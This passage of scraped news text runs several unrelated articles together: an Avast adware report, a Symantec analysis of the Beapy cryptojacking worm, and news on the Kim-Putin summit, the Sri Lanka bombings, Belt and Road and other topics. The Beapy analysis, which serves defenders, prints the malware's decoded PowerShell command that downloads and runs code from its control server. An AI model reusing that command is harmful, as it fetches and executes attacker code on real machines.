targets where the apps are most installed are in India, Phillipines, Indonesia, Malaysia, Brazil, and the UK. The new versions code is better protected; the code is encrypted using the Tencent packer, which is rather hard to unpack by analysts, but is easily captured during dynamic analysis in apklab.io. This version carries out several checks before deploying full-screen ads. First and foremost, the adware is only triggered if the user installs the app by clicking on a Facebook ad. The application can detect this using a Facebook SDK feature called deferred deep linking. The adware only shows ads within the first four hours of the app being installed and then much less frequently. From the code, we know that within the first four hours, full screen ads are displayed randomly when the phone is unlocked or every 15 minutes, at 15 minutes, 30 minutes after the hour. The newer version of the adware doesnt seem to work on Android version 8.0 and above because of changes in the background service management in these newer Android releases. Due to the amount of samples, Avast only selected the latest APK from each app and put them into this spreadsheet. Screenshots from Google Play Store and the Facebook pages are available here. Many of the older version of the adware were on the Play Store before, with Google removing the apps, including an app called Pro Piczoo, which was installed more than one million times. Tips to avoid adware Exercise caution when downloading apps. Read app reviews before installing a new app, carefully reading both positive and negative reviews. Notice if reviewers comment on whether or not the app does what it says it will do. If an apps review includes comments like this app doesnt do what it promises or this app is packed with adware, - one should reconsider downloading the app. Reviews like this are a sign that something isnt right. Always carefully check app permissions, closely looking to see if they make sense. Granting incorrect permissions can send sensitive data to cybercriminals, including information such as contacts stored on the device, media files and insights into personal chats. If anything seems out of the ordinary or beyond what seems appropriate, the app should not be downloaded. Install a trustworthy antivirus app. Antivirus acts as a safety net, and can identify apps that are infected with adware, protecting users from these unwanted apps. Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter. Beapy is a cryptojacking campaign impacting enterprises that uses the EternalBlue exploit and stolen and hardcoded credentials to spread rapidly across networks. Beapy is a cryptojacking campaign impacting enterprises that uses the EternalBlue exploit and stolen and hardcoded credentials to spread rapidly across networks. Beapy activity was first seen in Symantec telemetry in January 2019. This activity has also been seen on web servers and has been increasing since the beginning of March. Beapy (W32.Beapy) is a file-based coinminer that uses email as an initial infection vector. This campaign demonstrates that while cryptojacking has declined in popularity with cyber criminals since its peak at the start of 2018, it is still a focus for some of them, with enterprises now their primary target. Almost all of Beapys victims are enterprises (Figure 1). Beapy may indicate a continuation of a trend demonstrated by the Bluwimps worm (MSH.Bluwimps) in 2018 and which we mentioned in ISTR 24an increased focus by cryptojacking criminals on enterprises. While we have no evidence these attacks are targeted, Beapys wormlike capabilities indicate that it was probably always intended to spread throughout enterprise networks. This mirrors a trend we saw in ransomware in 2018 too when, despite a drop in overall ransomware infections of 20 percent, ransomware infections in enterprises increased by 12 percent. Enterprises appear to be an increasing focus for cyber criminals. Beapy is most heavily affecting enterprises in Asia, with more than 80 percent of its victims located in China, with other victims in South Korea, Japan, and Vietnam. Infection chain Malicious emails are the initial vector for at least some Beapy infections. A malicious Excel document is delivered to victims as an email attachment. If the email recipient opens the malicious attachment, the DoublePulsar backdoor (Backdoor.Doublepulsar) is downloaded onto the target machine. DoublePulsar, like EternalBlue, was leaked in the Shadow Brokers dump and was also used in the destructive WannaCry ransomware attack in 2017. DoublePulsar opens a backdoor on infected machines and allows for remote code execution on compromised computers. EternalBlue exploits a vulnerability in the Windows SMB protocol to allow files to spread laterally across networks. Once DoublePulsar is installed, a PowerShell command is executed, and contact is made with the Beapy command and control (C&C) server, before a coinminer is downloaded onto the target computer. If we look at one example of a machine in Symantec telemetry, we see the earliest signs of suspicious activity on February 15, 2019, when the DoublePulsar backdoor is detected. We then see a PowerShell command being launched, which decodes to the following: IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN) This is the device contacting the Beapy C&C server. Some more PowerShell commands are executed and then a coinminer is downloaded. This process is repeated as Beapy spreads to other computers on the network. Beapy appears to use unpatched machines to get a foothold on the network, and then uses EternalBlue to spread to other machines. However, EternalBlue isnt Beapys only propagation technique, and it also uses the credential-stealing tool Hacktool.Mimikatz to attempt to collect credentials from infected computers. It can use those to spread to even patched machines on the network. Beapy also uses a hardcoded list of usernames and passwords to attempt to spread across networks. This is similar to how the Bluwimps worm operated. Bluwimps infected thousands of enterprise machines with coinminers in 2017 and 2018. Web servers Symantec telemetry also found an earlier version of Beapy on a public-facing web server, with the worm then attempting to spread to computers connected to that server. One of the ways it appears to do this is by generating a list of IP addresses it attempts to infect. The version of Beapy seen on the web server is an early version of the malware, coded in C rather than Python, like later versions. However, the activity is similar, with the downloaded malware also containing Mimikatz modules for credential harvesting, as well as EternalBlue exploit capabilities. In the web server compromise, Beapy also attempted to exploit an Apache Struts vulnerability (CVE-2017-5638). This vulnerability was patched in 2017, but if successfully exploited it can allow for remote code execution. Beapy also tried to exploit known vulnerabilities in Apache Tomcat (CVE-2017-12615) and the Oracle WebLogic Server (CVE-2017-10271). In the case of this web server compromise observed by Symantec, exploit attempts began in early February, with connections to Beapys C&C server first observed on March 13. Activity targeting this web server continued until early April. In general, Beapy activity has been increasing since the beginning of March. What does Beapys activity tell us? Despite the drop in cryptojacking activity in 2018, when there was a 52 percent drop in cryptojacking, this is still an area of interest for cyber criminals. Looking at the overall figures for cryptojacking, we can see that there were just under 3 million cryptojacking attempts in March 2019. While a big drop from the peak of February 2018, when there were 8 million cryptojacking attempts, it is still a significant figure. Beapy is a file-based coinminer, which is interesting as most of the cryptojacking activity we saw at the height of its popularity was carried out using browser-based coinminers, which were popular due to lower barriers to entry and because they allowed even fully patched machines to be targeted. The announcement that the Coinhive coin-mining service, which was launched in September 2017 and played a key role in the growth of cryptojacking, was closing down also probably contributed to the fall in browser-based cryptojacking. The service, which made it a lot easier for anyone to carry out browser-based coin mining, ceased operations at the start of March. The shuttering of this service is likely to have a dramatic impact on browser-based cryptojacking. As well as these factors, file-based coinminers also have a significant advantage over browser-based coinminers because they can mine cryptocurrency faster. The Monero cryptocurrency, which is the cryptocurrency most commonly mined during cryptojacking attacks, dropped in value by 90 percent in 2018, so it may make sense that miners that can create more cryptocurrency faster are now more popular with cyber criminals. Effects of cryptojacking on enterprises While enterprises might think they dont need to worry about cryptojacking as much as more disruptive threats such as ransomware, it could still have a major impact on the companys operations. Potential impacts of cryptojacking for businesses include: -A slowdown in devices performance, potentially leading to employee frustration and a reduction in productivity -Overheating batteries -Devices becoming degraded and unusable, leading to higher IT costs -Increased costs due to increased electricity usage, and for businesses operating in the cloud that are billed based on CPU usage -Enterprises need to ensure their networks are protected from the whole range of cyber security threats. Mitigation -Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point failures in any specific technology or protection method. This includes deployment of endpoint, email, and web gateway protection technologies as well as firewalls and vulnerability assessment solutions. Always keep these security solutions up to date with the latest protection capabilities. -Educate anyone using your device or network and urge them to exercise caution around emails from unfamiliar sources and around opening attachments that havent been solicited, which may contain file-based coin-mining malware. -Educate employees about the signs that indicate their computer may have a coinminer and instruct them to inform IT immediately if they think there may be a coinminer on a device that is on the company network. -Monitor battery usage on your device and, if you notice a suspicious spike in usage, scan it for the presence of any file-based miners. -Install the latest patches on your devices, use strong passwords and enable two-factor authentication. Protection Symantec has the following protection in place to protect customers against these kinds of attacks: W32.Beapy Hacktool.Mimikatz MSH.Bluwimps Backdoor.Doublepulsar Click on Deccan Chronicle Technology and Science for the latest news and reviews. Follow us on Facebook, Twitter. Trump has said he expects to finalise the deal in a meeting with Xi. (Photo:AP) Washington: US President Donald Trump said on Thursday he would soon host Chinese leader Xi Jinping at the White House, setting the stage for a possible agreement on trade between the world's two largest economies. The White House said on Tuesday that Treasury Secretary Steven Mnuchin and US Trade Representative Robert Lighthizer would travel to Beijing for additional talks on a trade dispute that has led to tit-for-tat tariffs between the two countries. Chinese Vice Premier Liu He, who will lead the Beijing talks for China, will also travel to Washington for more discussions starting on May 8, it said. "The subjects of next week's discussions will cover trade issues including intellectual property, forced technology transfer, non-tariff barriers, agriculture, services, purchases, and enforcement," the White House said. Beijing and Washington are seeking a deal to end a bitter trade war that has cost them billions of dollars, disrupted supply chains and rattled financial markets. Trump has said he expects to finalise the deal in a meeting with Xi. Head of the unrecognised republic Leonid Pasechnik on Twitter called the explosion at the Skhidcarbon mine a "terrible tragedy". (Photo: Representational purpose) Kiev: Three people have died and 14 are missing following a coal mine blast in a separatist region of eastern Ukraine. The gas blast ripped through the mine in Yurievka village in the self-proclaimed Republic of Lugansk, which broke away from Kiev in 2014 and is run by Moscow-backed rebels. "At the moment we understand three dead have been brought to the surface. The fate of 14 others is uncertain," local government official Yevgeny Katsavalov told the Lugansk news service. Head of the unrecognised republic Leonid Pasechnik on Twitter called the explosion at the Skhidcarbon mine a "terrible tragedy". Emergency services were doing "everything necessary," he said. The Lugansk news agency said the mine was closed in 2014 due to the conflict between Kiev's forces and the Russia-backed separatists, but was reopened in 2018. Most of Ukraine's coal is produced in its eastern region, where the ongoing fighting has cost some 13,000 lives. Kiev has tried to boost the operations of other pits under its control in the west of the country. Kim said he hoped to usher in a new heyday in ties between Pyongyang and Moscow. (Photo:AP) Seoul: Kim Jong Un invited Russian President Vladimir Putin to visit North Korea, and the offer was "readily accepted", state media in Pyongyang said Friday. Kim asked Putin to visit North Korea "at a convenient time" during their summit talks in Vladivostok on Thursday, the Korean Central News Agency reported, and "the invitation was readily accepted". During his talks with Kim on Thursday, Putin positioned himself as a counterweight to the United States, insisting that the North needed "guarantees of its security, the preservation of its sovereignty". "We need to... return to a state where international law, not the law of the strongest, determines the situation in the world," Putin said. Kim said he hoped to usher in a "new heyday" in ties between Pyongyang and Moscow. The pair "were unanimous" that their meeting could help in "strategically controlling the unstable situation of the Korean peninsula in the wake of the second DPRK-US summit talks", it said. Yerevan: Some parliamentarians in Armenia have called for burning to death Armenias first registered transgender woman, Lilit Martirosyan, for speaking out against discrimination at a session of the National Assemblys committee on human rights two weeks ago. Lilit Martirosyan became the first member of her countrys lesbian, gay, bisexual, transgender and intersex (LGBTI) community to take to the parliamentary podium. Martirosyan expressed solidarity with a community that has been tortured, raped, kidnapped, subjected to physical violence, burned, immolated, knifed, subjected to murder attempt, killed, emigrated, and robbed. She said transgender people in Armenia are subjected to stigma and discrimination in social, medical, legal, economic areas, and [are left] unemployed, poor and morally abandoned. The speech has since sparked a backlash in Armenia, where homosexuality has been decriminalised but discrimination against LGBTI people is rife. There have been anti-LGBTI protests in front of the national Assembly and verbal attacks by some parliamentarians. The prime minister and the main opposition have tried to blame each other for allowing Martirosyans speech. This was the first time in Armenia when a transgender woman spoke from a high podium of violence against transgender people, Martirosyan told the Guardian. [A] transphobic man with a knife came to the national Assembly to announce that he would kill me and that others like me must be killed, too I have received many messages via Facebook and email from various people telling that they will find and kill me. In the post-revolutionary Armenia, hate has no place, she added, referring to popular protests last year that ushered in a new era under Nikol Pashinyan, the former street politician who was elected prime minister last May. Martirosyan said the home addresses of several people who work for Right Side, the transgender rights organisation she created in 2016, have been leaked and that her own home address has been spread across the internet by extremist groups who have threatened to kill them if we find them. Nationalists, she said, have gathered outside her house, raising Armenian flags. North Korean leader Kim Jong Un gets out of his car for a ceremony upon his departure from Russia, outside the railway station in the far-eastern Russian port of Vladivostok on Friday. (Photo: AFP) Tokyo: German automaker Daimler, which makes armored limousines used by North Korean leader Kim Jong Un, says it has no idea where he got them and has no business dealings with the North. Kim has raised eyebrows by using Daimler-branded stretch limousines at several very high-profile summits, including his meeting this week with Russian President Vladimir Putin and both of his earlier summits with President Donald Trump. The sale of luxury goods, including limousines, is banned under UN sanctions intended to put pressure on North Korea to abandon its nuclear weapons. Kim nevertheless had two limos waiting for him at Vladivostok station - a Mercedes Maybach S600 Pullman Guard and a Mercedes Maybach S62. He is believed to have also used the S600 Pullman Guard for his summits with Trump in Singapore in June last year and in Hanoi in February. We have absolutely no idea how those vehicles were delivered to North Korea, Daimler spokeswoman Silke Mockert said in a written response to an Associated Press report on Wednesday on the limousines . For Daimler, the correct export of products in conformance with the law is a fundamental principle of responsible entrepreneurial activity. Daimler, based in Stuttgart, Germany, is one of the worlds biggest and more prestigious automobile companies. It is one of the biggest providers of high-end passenger cars and the worlds largest producer of trucks above 6 tons. On its home page, the multinational giant boasts of selling vehicles and services in nearly all the countries of the world and of having production facilities in Europe, North and South America, Asia and Africa. North Korea, however, isnt one of its official customers. Our company has had no business connections with North Korea for far more than 15 years now and strictly complies with E.U. and U.S. embargoes, she said. A Tata Steel spokesman said the company was working with emergency services and the fires at the plant are under control. (Representational Image) London: At least three blasts were reported at the UK's largest Tata Steelworks plant in Port Talbot, injuring two persons, according to a media report. The blast at the plant in Port Talbot, Wales occurred around 3.35 am (local time), BBC reported. South Wales Police department said they are aware of an incident in the Tata Steelworks plant. "Emergency services are in attendance and further information will be released shortly," the department tweeted. The police said they received calls at 3:35 AM (local time) reporting an explosion at the plant. "At this time we there are just two casualties with minor injuries." A Tata Steel spokesman said the company was working with emergency services and the fires at the plant are "under control." "We can confirm there has been an incident at our Port Talbot site," he said, adding that "the emergency services have attended and are working with our on-site services." "The fire has been extinguished, and that a full investigation launched into the incident, which it said started after a "spillage of liquid iron as it was travelling to the steel plant," Tata Steel said in a statement. Early indications suggested the explosion came from a train used to carry molten metal, police was quoted as saying by the report. "The explosion caused some small fires which are all under control and damage to some buildings on the site," the spokesman said. Locals reported their houses shook with the force of a blast at the Tata Steel site in Port Talbot in the early hours of Friday. The two leaders appeared to get on well. (Photo:AP) Vladivostok: Russian President Vladimir Putin said after holding his first face-to-face talks with North Korean leader Kim Jong Un on Thursday that US security guarantees would probably not be enough to persuade Pyongyang to shut its nuclear programme. Putin and Kim held a day of talks on an island off the Russian Pacific city of Vladivostok two months after Kim's summit with US President Donald Trump ended in disagreement, cooling hopes of a breakthrough in the decades-old nuclear row. The talks between Putin and Kim did not appear to have yielded any major breakthrough. But Putin, keen to use the summit to burnish Russia's diplomatic credentials as a global player, said he believed any US guarantees might need to be supported by the other nations involved in previous six-way talks on the nuclear issue. That would mean including Russia, China, Japan and South Korea as well as the United States and North Korea, a long-standing format that has been sidelined by unilateral US efforts to broker a deal. "They (the North Koreans) only need guarantees about their security. That's it. All of us together need to think about this," Putin told reporters after talks with Kim. "... I'm deeply convinced that if we get to a situation when some kind of security guarantees are needed from one party, in this case for North Korea, that it won't be possible to get by without international guarantees. It's unlikely that any agreements between two countries will be enough." Such guarantees would have to be international, legally binding, and vouch for North Korea's sovereignty, said Putin. The two leaders appeared to get on well. The first session between Putin and Kim, comprising one-on-one talks with just a few aides present, lasted twice as long as the 50 minutes allocated in the schedule. Putin described Kim as "quite open" and as "thoughtful" and "interesting". Promising to brief the Chinese and US leadership about his talks, Putin said he thought a deal on Pyongyang's nuclear programme was possible and that the way to get there was to move forward step-by-step in order to build trust. There was no immediate comment on the summit from the US State Department, but William Hagerty, the US ambassador to Japan, told a Washington think tank Kim's outreach to Russia and China was part of an effort to seek relief from international sanctions, which both are committed to. "The fact you see Kim Jong Un meeting with Vladimir Putin underscores the fact that the sanctions are working and the sanctions are putting extreme economic pressure on the North Korean regime," he said. "What we see is an outreach to try to find a way to deal with it. There is a much simpler way to deal with it and that is to denuclearize," he said, adding: "I think it's critically important that we all remain in lockstep in enforcing the UN Security Council resolutions that sanction North Korea." Kim, who arrived in Vladivostok on Wednesday on board his armoured train, said the situation on the Korean peninsula "is an issue that the world is very interested in". He did not speak to the media afterwards, but shook hands with Putin before being driven away in his limousine. The two leaders had earlier attended a gala dinner where they toasted each other and watched traditional musical numbers and dancing performed by Russian artists. The numbers included the Russian classic song "Black Eyes" and a Korean song called "the Great Commander," Russian state media reported. The two men also exchanged gifts. Kim gave Putin a traditional Korean sword, while the Russian leader gave Kim a sabre and a tea service suitable for use on his armoured train. "When modern weapons did not exist, they used such swords," Russian state media cited Kim as telling Putin. "They embody strength, my soul and our people who support you." With North Korea-US talks stalled, the summit in Vladivostok has provided Pyongyang with an opportunity to improve ties with its giant neighbour Russia. For the Kremlin, the summit was a chance to show it remains an important actor on the global stage despite efforts by the United States and other Western states to isolate it. But with Moscow committed to upholding international sanctions until North Korea dismantles its nuclear programme, Russia's room for manoeuvre, beyond putting on a show of camaraderie, was limited. Putin's last summit with a North Korean leader was in 2002 when his counterpart was Kim Jong Il, Kim Jong Un's father and predecessor. Kim Jong Il also met in 2011 with Dmitry Medvedev, then Russia's president and now its prime minister. Intelligence officials and Prime Minister Ranil Wickremesinghe believe that Hashim, a Tamil-speaking preacher from the east of the country, may have been the mastermind. (Representational Image) Colombo: Mohomed Hashim Madaniya, sister of the suspected mastermind behind the deadly serial blasts that rocked Sri Lanka on Easter Sunday, killing more than 250 people, said that her entire family has been missing since the day of the attacks. "I went and gave food to my parents and my sisters family on April 18, and haven't heard from them since," the 25-year-old woman was quoted as saying. Madaniya said that her brother, Zahran Hashim, 33, is the eldest of all siblings. He is married to Mohomed Haadiya, 23, and is the father of two children aged a boy aged eight and a girl aged four. Hashim's brother Mohomed Zeyin Hashim, 30, is married to Abdul Gafoor Afrin, 23, and has two children a boy, aged five, and a girl aged three. The third was Mohomed Rilwan Hashim, 28, married to Nafha, 20, and is the father of two children aged five, and the other a six-month-old boy. The remaining sister Mohomed Yaseera Hashim, 20, was married to Mohomed Rishad, 22, and is the mother of a boy aged one year, all of whom have left without a trace, Madaniya added. "I don't know where they are. From the 18th onwards I have had no contact with them," Madaniya was quoted as saying. "It was early 2017 when he started preaching things that we thought were out of line. They were things like the world was made for Muslims and was against other religions," she said. "My husband didn't like what he was saying so we stopped our connections with him. That didn't mean we were angry, it's just that we stopped following him," she added. On April 21, eight explosions rattled Sri Lankan cities of Colombo, Negombo, Kochchikede and Batticaloa as the Christian community celebrated Easter. More than 500 people were injured in the serial blasts on Sunday. Shortly after the Islamic State claimed responsibility for the attacks, a video released by the terror group featuring Hashim, dressed in a black tunic, a headscarf and carrying a rifle, standing beside the group''s chief Abu Bakr Al-Baghdadi. According to Channel NewsAsia, the Sri Lankan government has accused Hashim indirectly, saying the group he was believed to lead - the National Thowheeth Jama''ath (NTJ) - carried out the attacks. Intelligence officials and Prime Minister Ranil Wickremesinghe believe that Hashim, a Tamil-speaking preacher from the east of the country, may have been the mastermind. Apart from prior warnings of the attacks provided by India, the United States network cited an intelligence source as saying that "during the interrogation of an accused, he disclosed the name of a man, Zahran Hashim, who is one of the suicide bombers and is associated with NTJ". In response to allegations against Hashim, Madaniya said, "I fear for my safety. We live under a lot of tension." "It's unbearable to know what has happened. I don't want to have anything to do with him and hope he is dead," she added. When asked as to what she believes is the reason her immediate family have been untraceable she said she assumed the worst. "They must have joined him. They never spoke to me about him because they knew my husband didn't like him. I am the only one who has to take on all of this blame and suffering now. I don''t want to have anything to do with any of them," Madaniya was quoted as saying. Meanwhile, the Sri Lankan special task force on Thursday arrested three people with home-made hand grenades and six swords from Modara in Colombo, Xinhua agency reported. Over 75 suspects have been arrested so far by the Sri Lankan security forces who conducted nationwide search operations to arrest suspects linked to Sunday's explosions. Places of religious importance in Sri Lanka are under strict security check. Churches have been ordered to stay closed until further notice. (Photo: AP) Colombo: Following the advisory issued to churches in Sri Lanka, under which they will remain closed for public mass, Muslims have also decided to hold their Friday prayers privately. The All Ceylon Jamaiyyathul Ulama, a society of Muslim scholars, has urged the Muslim women to refrain from wearing the face-covering niqab. They have asked this to facilitate security forces in managing security and investigation. Sri Lankas Muslim Council said that its leaders have agreed that bodies of terrorists would not be buried in any mosque burial ground. Muslims, in Sri Lanka, are anguished by the developments and they want to disown the terrorists. A significant number of people from persecuted Islamic sect have sought refuge in the city of Negembo as tensions escalated in the aftermath of Easter Sunday bombings. Many of them had moved from Pakistan to Sri Lanka facing humiliation and catastrophe. They are Ahmadis who are persecuted in Pakistan and legally banned in the cities of Mecca and Medina. In 1974, Pakistan declared Ahmadis as non-Muslims through a constitutional amendment. Similar to Ahmadis, Sufis have been a target of religious fundamentalists as well. Police have warned the Sufi mosques of possible attacks. Places of religious importance in Sri Lanka are under strict security check. Churches have been ordered to stay closed till further notice. Earlier, the Sri Lankan government revised the figures of deceased to 253 from 359 as there was duplicacy in calculation. Beijing: Pakistan Prime Minister Imran Khan on Friday called for greater cooperation among the China-backed Belt and Road Initiative (BRI) member countries to promote tourism and combat climate change, corruption and poverty. Pakistan will partner with all those who share the vision for a peaceful and prosperous world, he said while speaking at the 2nd Belt and Road Forum (BRF) here. Khan said that the multi-billion dollar China-Pakistan Economic Corridor (CPEC) is entering the next phase after substantial progress. China is holding the BRF, which provides a platform to countries participating in the BRI, from April 25 to 27 here. The BRI is a multi-billion-dollar initiative launched by Chinese President Xi Jinping when he came to power in 2013. It aims to link Southeast Asia, Central Asia, the Gulf region, Africa and Europe with a network of land and sea routes. The forum is being attended by 36 heads of states and governments besides officials from 150 countries and international organisations. Prime Minister Khan said the BRI, which raised concerns of debt trap, offered a model of collaboration, partnership, connectivity and shared prosperity. India and the US skipped the BRF. India has protested over the $60 billion CPEC which is being laid through the Pakistan-occupied Kashmir. CPEC is officially regarded as a flagship project of the China's trillion dollar BRI. The US has termed the BRI as promoting predatory financing leading to heavy debt among smaller countries. The potential bidders of grounded private airlines Jet Airways have been trying to pass on the liabilities of pending salaries of the employees to the banking consortium, according to the highly-placed sources. A senior banking official, wishing anonymity told DH that Jet has in excess of Rs 570 crore of pending salaries to the employees. "They have not communicated any withdrawal of the bid to us. They are trying to pass the pending wage bill on us," a senior SBI official said. Earlier on Tuesday, it was reported that all shortlisted bidders, including Abu Dhabi-based Etihad Airways, are learnt to have backed out of the process of investing in grounded Jet Airways. Etihad was the only airline to have expressed an interest to buy a controlling stake in Jet. The other shortlisted bidders were sovereign fund NIIF and private equity firms TPG Capital and Indigo Partners. The banking consortium, led by State Bank of India, has asked for the binding bids from all the four shortlisted bidders by May 10. However, the bidders have been bargaining for about 80% haircut in the Jet debt, which amounts to almost Rs 8,500 crore. Earlier, the lenders of the grounded private sector carrier Jet Airways have decided not to convert its debt into equity in a bid to make the recovery of their dues efficient. Instead of this, the banks have taken a binding agreement from Jet founder Naresh Goyal, according to which he is supposed to sell his stake as soon as the bankers shortlist the bidder for the company. If the debt to equity swap had taken place, Goyals stake would have come down from current level of 51% to 25.5%, Etihads stake would have halved from 24% to 12% and the public stake would have also halved from the current 25% to 12.5%. In this scenario, the banks would have been able to take control of the troubled airlines, which they havent done till now. The consortium of banks had assured Rs 1,500 crore to Jet but released just Rs 200 crore. A fresh request for Rs 983 crore was rejected. However, lenders on their part, justified the decision saying that an infusion of Rs 400 crore would have helped Jet survive for only 3-4 days more. In case, the negotiations with the potential bidders, dont get through, bankers are not keen to take Jet to NCLT. We will go for auctioning as we did in Mallyas case. We wont opt for NCLT. We will sell all his (Goyals) pledged shares and assets with us and collect as much amount as possible, the source said. Goyal has pledged 31.2% of his stake in Jet with the banks as of date. The United Kingdom hopes that China will soon lift its technical hold over the proposal to impose United Nations' sanctions on terrorist outfit Jaish-e-Mohammed's leader Masood Azhar. We are waiting to see whether the country that is so far been resisting agreeing to its listing will lift that objection, the UK's envoy to India, Dominic Asquith, told journalists in New Delhi on Friday. The UK has joined other permanent members of the UN Security Council the United States and France in the efforts within the Council to impose global sanctions on Azhar, who is based in Pakistan and has masterminded several terror attacks in India. China has been blocking initiatives to sanction the JeM chief, ostensibly to save its all-weather ally Pakistan. I remain optimistic that we will get to that conclusion (of imposing UN sanction on Azhar), said Asquith. The latest move to bring Azhar under UN sanctions was initiated by three of the five permanent members of the Security Council the UK, the US and France after JeM carried out an attack in Jammu and Kashmir's Pulwama in which over 40 CRPF soldiers were killed on the February 14, escalating tension between India and Pakistan. China blocked the move on March 13 by putting the proposal on technical hold fourth time since 2009. The US, the UK and France of late initiated a fresh move to sanction the JeM chief by circulating a new draft resolution at the UN Security Council itself. British High Commissioner on Friday said that the UK had done its bit when tension between India and Pakistan had escalated after the Pulwama attack. We were very actively involved. We were certainly talking to a variety of key actors in Pakistan to make it clear on what we expected in terms of Pakistani action against terrorist groups who are operating around the Line of Control (de facto border between India and Pakistan), said Asquith. He was replying to a question if the UK, like the US, Saudi Arabia and the United Arab Emirates, too played a role to diffuse tension between India and Pakistan. Don't mistake natural British modesty with what we say in public with a lack of activity, he said. India has declined Chinas invitation to attend the ongoing conference on the Belt and Road Initiative (BRI) in Beijing. The BRI is a multi-billion dollar international infrastructure building project launched by President Xi Jinping in 2013. The idea originated from the ancient Silk Route that Chinese merchants and monks travelled through. At a time when China is stashed with huge reserves of foreign exchange and investment to keep its domestic economy humming is saturated, China wants to invest its billions in building infrastructure in countries from its borders to Europe, instead of keeping the reserves idle. This is the second Belt and Road Forum, the first time it was held was in 2017. India turned down Chinas invitation to participate in the forum both times. This year, representatives from over 100 countries, including 37 leaders of governments, are attending the forum. India is of the view that the inclusion of the China-Pakistan Economic Corridor (CPEC), which passes through a part of Jammu and Kashmir that is under illegal occupation of Pakistan, as a flagship programme of the BRI reflects lack of understanding and sensitivity to Indias concerns on the issues of sovereignty and territorial integrity. These concerns have been raised with the Chinese side at various levels on different occasions. The CPEC is a conglomeration of infrastructure projects meant to deepen economic ties between China and Pakistan. It connects Chinas largest province Xinjiang with Pakistans Gwadar port in Balochistan. The CPEC is not acceptable to India because it passes through Pakistan-Occupied Kashmir, thereby violating Indias territorial integrity. India is of the firm view that connectivity initiatives must be based on universally recognised international norms, good governance and rule of law, openness, transparency and equality. They must follow principles of financial responsibility and must be pursued in a manner that respects sovereignty and territorial integrity. It may be recalled that earlier, in May 2017, while articulating its position on BRI, Delhi had said, India shares the international communitys desire for enhancing physical infrastructure and believes that it should bring greater economic benefits to all in an equitable and balanced manner. Highlighting Indias benign connectivity outreach in the region, the statement further added, Expansion and strengthening of connectivity is an integral part of Indias economic and diplomatic initiatives. Under the Act East policy, India is pursuing the Trilateral Highway project with Myanmar and Thailand; under the neighbourhood first policy, India is also developing multimodal linkages with Myanmar and Bangladesh; and under the go West strategy, it is also engaged with Iran on the Chabahar Port and with Iran and other partners in Central Asia on the International North-South Transport Corridor. Recently, the Parliamentary Standing Committee on External Affairs observed in its report that unlike the Asian Infrastructure Investment Bank (AIIB), the BRICs Development Bank or the Shanghai Cooperation Organisation, the BRI (earlier called OBOR or One Belt, One Road) is not a multilateral project and that it is the very antithesis of the development philosophy that India pursues abroad through its development assistance programme. When India first took its principled and courageous position on Chinas BRI, it didnt find many supporters, but now there is an increasing awareness about the possible adverse consequences of projects under the BRI. There is greater realisation in recent times that Chinas projects are not necessarily financially viable and environmentally sustainable. Some countries have been pushed to debt. Maldives, for example, has fallen a victim to Chinas ambitions, leaving the archipelago with a massive debt. The Belt and Road projects have come to be seen as enormous debt traps despite Chinas assurances to the contrary. Sri Lankas Hambantota port is yet another example of a debt trap. Malaysia and some other countries have also experienced similar ordeals. Even in Pakistan, where China has invested some $46 billion in projects, there are fears that the country will become an economic colony of China. In response to rising criticism, China recently cut down by 30% the cost of its projects in Malaysia. While India has made its position clear and consistent with regard to the BRI, India and China should pursue the developmental partnership between the two countries through the dictum of the Astana Consensus of June 2017. As per this understanding, the two countries have decided that their ties should become a factor for regional and global stability and that the two countries would ensure that their differences do not become disputes. It is not out of place to mention in this connection that China should join the International Solar Alliance (ISA), which India has established in partnership with France. This will, according to Gautam Bambawale, Indias former ambassador to China, create a win-win situation and will provide an excellent example of how the two countries can work together in international organisations. (The writer was formerly a Senior Fellow with the Institute of Defence Studies and Analyses, New Delhi) MIDDLETOWN Delaware County foes of the Mariner East pipeline now have something in common with their Chester County counterparts sinkholes. A sinkhole was discovered along the route of the Mariner East 2 pipeline along Baltimore Pike near the state police barracks, according to county and township officials. Middletown Township put out a statement that said the sinkhole or subsidence as it is sometimes termed was discovered 3:30 p.m. Wednesday near the state police Troop K barracks on the south side of Baltimore Pike. The sinkhole was described as 12x12x12 feet. No leaks or other damage was reported. There were no injuries. The area in question is at or near the end of the Sunoco Horizontal Directional Drilling 610 section being done for Mariner East 2, part of a the project that will transport 600,000 barrels a day of highly volatile liquid gases such as ethane, propane and butane from the Marcellus Shale region to a facility in Marcus Hook. Township officials said an investigation into the hole was launched immediately, and crews and an environmental engineer was on site as the hole was being filled. The 12-foot by 12-foot by 12-foot swimming-pool sized gash occurred at about 3:30 p.m. in the right of way for the Sunoco/Energy Transfer Mariner East pipeline. According to Mark Kirchgasser, chairman of the Middletown Township Council, neither of two pipes now operating was exposed. An 8-inch pipe is carrying petroleum and a 12-inch pipeline is still shipping highly volatile liquid gases. Kirchgasser also said the hole was quickly filled in with flowable fill, to stabilize the sinkhole, along with topsoil by 9 a.m. Thursday. In much of Chester County, where there are 23 miles of Mariner East pipeline, Sunoco/Energy Transfer Partners drills and digs through karst or limestone. The impacted area in Delaware County is composed of extremely solid granite. It is purely speculation that old pipe in ground collected water over the course of time and created the erosion, Kirchgasser said. He also said that the state Public Utility Commission will likely issue a report in seven-10 days with a likely determination of cause. The PUC will use geophysical imagery to determine the extent of the sinkhole, if there was impact on pipe and to determine a cause, he said. Representatives of the township, Delco Emergency Management, the state Department of Environmental Protection and PUC nearly immediately met at the site. A safety investigation has been launched by the Pipeline Safety Division of the Bureau of Investigations and Enforcement. The division is performing an investigation independent from the PUC. Sunoco spokesperson Amanda Gorgueiro Thursday morning confirmed the situation but stressed that no leaks or interruption occurred with the sinkhole. A subsidence feature did occur yesterday along our right of way in this area. The appropriate regulatory agencies were notified and an investigation determined our pipelines in the area are safe and secure. Nothing was exposed. The area was immediately contained and grouted. We have placed personnel in the area to continue to monitor the area. Our pipelines remain in service. State Rep. Chris Quinn, R-168 of Middletown, released the following statement: This sinkhole is disappointing, but unfortunately not surprising. Incidents like this have become a pattern for Sunoco and the Mariner East 2 pipeline. This is why I am calling for a halt to construction of Mariner East 2 until the engineering and environmental studies for the project can be reevaluated and possibly reconducted where necessary. Public safety is at risk, and we must do everything we can to protect our citizens. I have contacted the governor imploring his administration to force a halt to construction, and I am hopeful that he will do so. House Bill 888, which I have introduced, would require that the entirety of a pipeline be inspected following any incident to ensure that any potential future problems could be prevented 